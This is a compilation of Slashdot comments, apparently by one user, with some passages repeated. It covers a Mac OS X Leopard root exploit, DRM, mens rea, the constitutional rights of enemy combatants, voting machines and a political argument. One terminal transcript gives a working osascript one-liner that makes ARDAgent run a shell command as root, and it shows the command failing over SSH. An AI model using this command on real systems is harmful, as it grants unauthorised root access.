So let's not beat about the bush - ANY exploit that isn't fixed as quickly as possible is a problem because there's always at least one spotty teenager trying to become a HAX0R who is prepared to try his luck against some poor unwitting user. Agreed. That's probably why it was posted. I think if timothy thought this was nothing to care about, it wouldn't have been.:-)
The AppleScript requires an account to be logged in at the console. Granted, it's possible to also do that remotely, but you still need to have the console avilable via VNC etc.
Many people have sshd running as well, so it doesn't quite have to be local. Just need a shell.
Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)
Nope. You cannot do it via SSH unless that account is already logged in physically, at the console.
[pudge@bourque ~]$ ls -l/etc/test1 ls:/etc/test1: No such file or directory [pudge@bourque ~]$ touch/etc/test1 touch:/etc/test1: Permission denied [pudge@bourque ~]$ osascript -e 'tell app "ARDAgent" to do shell script "touch/etc/test1"' [pudge@bourque ~]$ ls -l/etc/test1 -rw-rw-rw- 1 root wheel 0 Jun 18 11:27/etc/test1
versus:
[pudge@bourque ~]$ ssh maintenance@localhost bourque:~ maintenance$ ls -l/etc/test2 ls:/etc/test2: No such file or directory bourque:~ maintenance$ touch/etc/test2 touch:/etc/test2: Permission denied bourque:~ maintenance$ osascript -e 'tell app "ARDAgent" to do shell script "touch/etc/test2"' _RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.
Seriously though, was there some convention or something that added meme to the geek culture lexicon in the past few months? I see it everywhere. I was using the word in jest, since the word meme itself wasn't popularized until well after Sprockets (although it originated a decade earlier). I hate the word, as it merely means "an idea that spreads." Yawn.
Anyway, that said, I have not noticed any change in usage of the word. It has been overused (read: "used") for years.
I think you misunderstand mens rea. Mens rea, generally speaking, does not mean you know what you did was illegal, but that you knew what you were doing (whether you knew it was illegal or not). So if you are sleepwalking and steal something, that is not mens rea, but if you take something thinking it is yours, and it is not, that is.
Motive is a separate element. Intending to take something that is yours (whether you know it or not), versus doing that with the motive of theft.
That said, I think you're on to the point: it's to make sure people cannot say they didn't know what they were doing is wrong. It makes it so that mens rea is not only applicable (which it would be regardless), but also motive.
Ah, well, I was only commenting on the phone home part. I still maintain this is, to me, FAR preferable than a CD. However, tying to specific hardware is a different story altogether. I didn't even buy GT5 Prologue online (got it on disc instead) because it is non-portable.:-)
I'd much rather deal with the "hassle" of putting the disc in the drive, than the hassle of calling tech support and explaining to them that, no, I'm not a pirate, yes I do have a real copy of the game, but my hard drive nuked itself, and this is my 4th install. I don't know what reinstalling has to do with anything, but whatever.
However, if you're going to be offline, just run it and have it check, and you're good for 10 days. Personally, I don't meticulously plan all of my game playing or internet disconnections in advance. Shrug. So you also don't plan to always have your game CDs with you, then.
Well, its not a big deal for you. For me, it defeats the entire point of buying it. For EA, its a lost sale. Again, same thing goes for requiring CDs, except even MORE people are adversely affected by that than this.
None of this should be necessary at all though. Stardock manages to sell games using this bizzare assumption that paying customers should be treated better then pirates. Agreed.
I've said it a few times in here already but I keep hearing the same argument about how its not a big deal. Because it's not.
I'm moving later this month to a new house. No Internet until its hooked up. And some people have broken CD drives. I am not saying it is GREAT, but it is better than a CD, which I have to always have with me, which displaces another CD I may be using, which sucks up battery, which adds noise... .
Sure, some people won't be able to use it for a period of time. Yes, it would be better to not have to worry about it. No, it's not as bad as a CD.
Is this better or worse than requiring a CD in the drive to play? If we CANNOT play offline, it is much, much worse. However, if you're going to be offline, just run it and have it check, and you're good for 10 days. Not terrible. This is much better than a CD.
However, non-citizens, aliens as you term them, have no rights under the constitution, regardless of where they are being held. SCoTUS has made no ruling, because it cannot make such a ruling. No... in fact, it is accepted by pretty much everyone that non-citizens have the same rights as everyone else under the Constitution if they are in the U.S. Nothing in the First Amendment, for example, limits "freedom of speech" to citizens. It is not expressed or implied.
CItizens are only granted a few rights everyone else does not have: the right to run for office and to vote, and a few others. Our judicial rights -- most importantly, in the fourth through eighth amendments -- are NOT specific to citizens, at all.
Futher, the SCOTUS absolutely CAN determine who the Constitution applies to, as the Constitution specifically gives it that authority. "The judicial Power shall extend to all Cases, in Law and Equity, arising under this Constitution... [and] to Controversies to which the United States shall be a Party...."
If you doubt this, then I'd suggest the 11th Amendment as reading. All that says is that the citizens of one state (or another country) cannot bring a state to federal court, that this is a state matter. It has nothing whatsoever to do with whether citizens have Constitutional rights.
I have several times posted that we must, at the least, give at least a basic due process/habeas corpus to alien unlawful enemy combatants; that taking away rights from CITIZEN enemy combatants is absolutely unconstitutional; You are absolutely wrong on this. Enemy combatants have zero constitutional rights; their rights are covered by LOAC and Geneva Convention, and under those rights they have more than enough. Nope, on two counts.
First, you state -- not sure if you mean this, but you state it -- that a CITIZEN who is an enemy combatant has no constitutional rights. That is, in fact, absolutely wrong. Every citizen has full constitutional rights, period.
Second, the Supreme Court, in fact, has never ruled explicitly on whether the Constitution applies to alien enemy combatants (lawful or unlawful) held outside of U.S. jurisdiction. This was the big deal about some of the recent cases: the Court ruled that statutory habeas rights applied to enemy combatants. So the Congress removed some of those statutory rights. But the question of whether Constitutional rights still apply remains open.
However, Guantanamo Bay IS in U.S. jurisdiction, so should apply to them regardless. What the Military Commissions Act of 2006 did was to remove those statutory habeas rights, leaving intact -- or attempting to -- such habeas provisions as would satsify the constitutional requirement.
Pudge, your philosophy is exactly the same as a muslim terrorist or a socialist eco-nut False.
you've discovered the real truth, and everyone who disagrees is just too stupid or scared to understand That is, in fact, not my view at all.
You've wrapped your philosophy in a thin layer of poorly-understood libertarianism False.
deep down you share exactly the same philosophy as every other self-righteous asshole in the world. False.
Nonsense. It is in some cases MORE secure and MORE reliable than any paper systems, as long as certain precautions are taken, such as paper trails. Indeed, in my county, we went from DRE voting to all-mail optical scan, and THAT has increased our costs (not to mention wasted the money we spent on the DRE machines). The only reason they went to all-mail? They didn't like the idea of paper trails! Crazy.
Buy a dictionary, dipshit. Shrug. I know you read a dictionary, but the problem is, you don't know how to read it. Nothing you quoted disagrees with my usage. You are wrong, as expected.
your half-baked, poorly thought out political philosophy I have no such philosophy, and you have done absolutely nothing to demonstrate that I do, as expected. What is actually true is that you do not understand my philosophy, and you are scared of it, and therefore you lash out ignorantly at it.
You said that when you claim something "should" be done, you are claiming an obligation on yourself, and no one else. Correct.
Therefore, you are using a nonstandard definition of "should". You are completely making that up. That has no basis of any kind.
Then you you're not using the standard english definition of "should". False. Nothing you've said shows that.
Since you have declared that you have an obligation to provide health for sick people So you admit you were wrong that I used a nonstandard definition.
Show an example where I "like you use to force people to do things you think they 'should' do." You have said sick people should be treated. Mostly accurate.
You have not provided an alternative definition for "should", therefore you are using the standard english definition. The standard english definition of "should" is "used to express an obligation or duty." Fair enough.
Therefore, you are claiming that health care providers have an obligation or duty to treat sick people. False. I am claiming no such thing. Indeed, I am only claiming an obligation on myself, and no one else.
you are not exercising your personal liberty to freely accept an obligation or duty on yourself. False.
You are not a health care provider. Therefore, you are not exercising your personal liberty to freely accept an obligation or duty on yourself. False. Yes, I am not a health care provider, for the most part, but I am capable of helping people to get the health care they need.
You are limiting the liberty of another person through coercion. False.
All limitations of liberty through coercion are only be successful with the implied threat of force or violence. Correct, and I did no such thing, and you have utterly failed to show otherwise.
Either you mean "sick people should be treated" and mean to successfully enforce it through threats of force and violence, or you are just blowing out empty meaningless words. False.
Show an example where I "like you use to force people to do things you think they 'should' do." Nothing else you say matters until you back up your primary assertion.
Slashdot Mirror
The AppleScript requires an account to be logged in at the console. Granted, it's possible to also do that remotely, but you still need to have the console avilable via VNC etc.
Nope. You cannot do it via SSH unless that account is already logged in physically, at the console. versus:Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)
It was the latest meme almost 20 years ago :-)
I think you misunderstand mens rea. Mens rea, generally speaking, does not mean you know what you did was illegal, but that you knew what you were doing (whether you knew it was illegal or not). So if you are sleepwalking and steal something, that is not mens rea, but if you take something thinking it is yours, and it is not, that is.
Motive is a separate element. Intending to take something that is yours (whether you know it or not), versus doing that with the motive of theft.
That said, I think you're on to the point: it's to make sure people cannot say they didn't know what they were doing is wrong. It makes it so that mens rea is not only applicable (which it would be regardless), but also motive.
Ah, well, I was only commenting on the phone home part. I still maintain this is, to me, FAR preferable than a CD. However, tying to specific hardware is a different story altogether. I didn't even buy GT5 Prologue online (got it on disc instead) because it is non-portable. :-)
Of course, YMMV. But for me
Sure, some people won't be able to use it for a period of time. Yes, it would be better to not have to worry about it. No, it's not as bad as a CD.
CItizens are only granted a few rights everyone else does not have: the right to run for office and to vote, and a few others. Our judicial rights -- most importantly, in the fourth through eighth amendments -- are NOT specific to citizens, at all.
Futher, the SCOTUS absolutely CAN determine who the Constitution applies to, as the Constitution specifically gives it that authority. "The judicial Power shall extend to all Cases, in Law and Equity, arising under this Constitution
First, you state -- not sure if you mean this, but you state it -- that a CITIZEN who is an enemy combatant has no constitutional rights. That is, in fact, absolutely wrong. Every citizen has full constitutional rights, period.
Second, the Supreme Court, in fact, has never ruled explicitly on whether the Constitution applies to alien enemy combatants (lawful or unlawful) held outside of U.S. jurisdiction. This was the big deal about some of the recent cases: the Court ruled that statutory habeas rights applied to enemy combatants. So the Congress removed some of those statutory rights. But the question of whether Constitutional rights still apply remains open.
However, Guantanamo Bay IS in U.S. jurisdiction, so should apply to them regardless. What the Military Commissions Act of 2006 did was to remove those statutory habeas rights, leaving intact -- or attempting to -- such habeas provisions as would satsify the constitutional requirement.
You are, in fact, quite ignorant.
It's not illegal. Well, as long as you can have some voting machines available for disabled voters. I use those rather than the paper ballots.
It is, however, crazy.
Nonsense. It is in some cases MORE secure and MORE reliable than any paper systems, as long as certain precautions are taken, such as paper trails. Indeed, in my county, we went from DRE voting to all-mail optical scan, and THAT has increased our costs (not to mention wasted the money we spent on the DRE machines). The only reason they went to all-mail? They didn't like the idea of paper trails! Crazy.
Your ignorance is boring.
Show an example where I "like you use to force people to do things you think they 'should' do." Nothing else you say matters until you back up your primary assertion.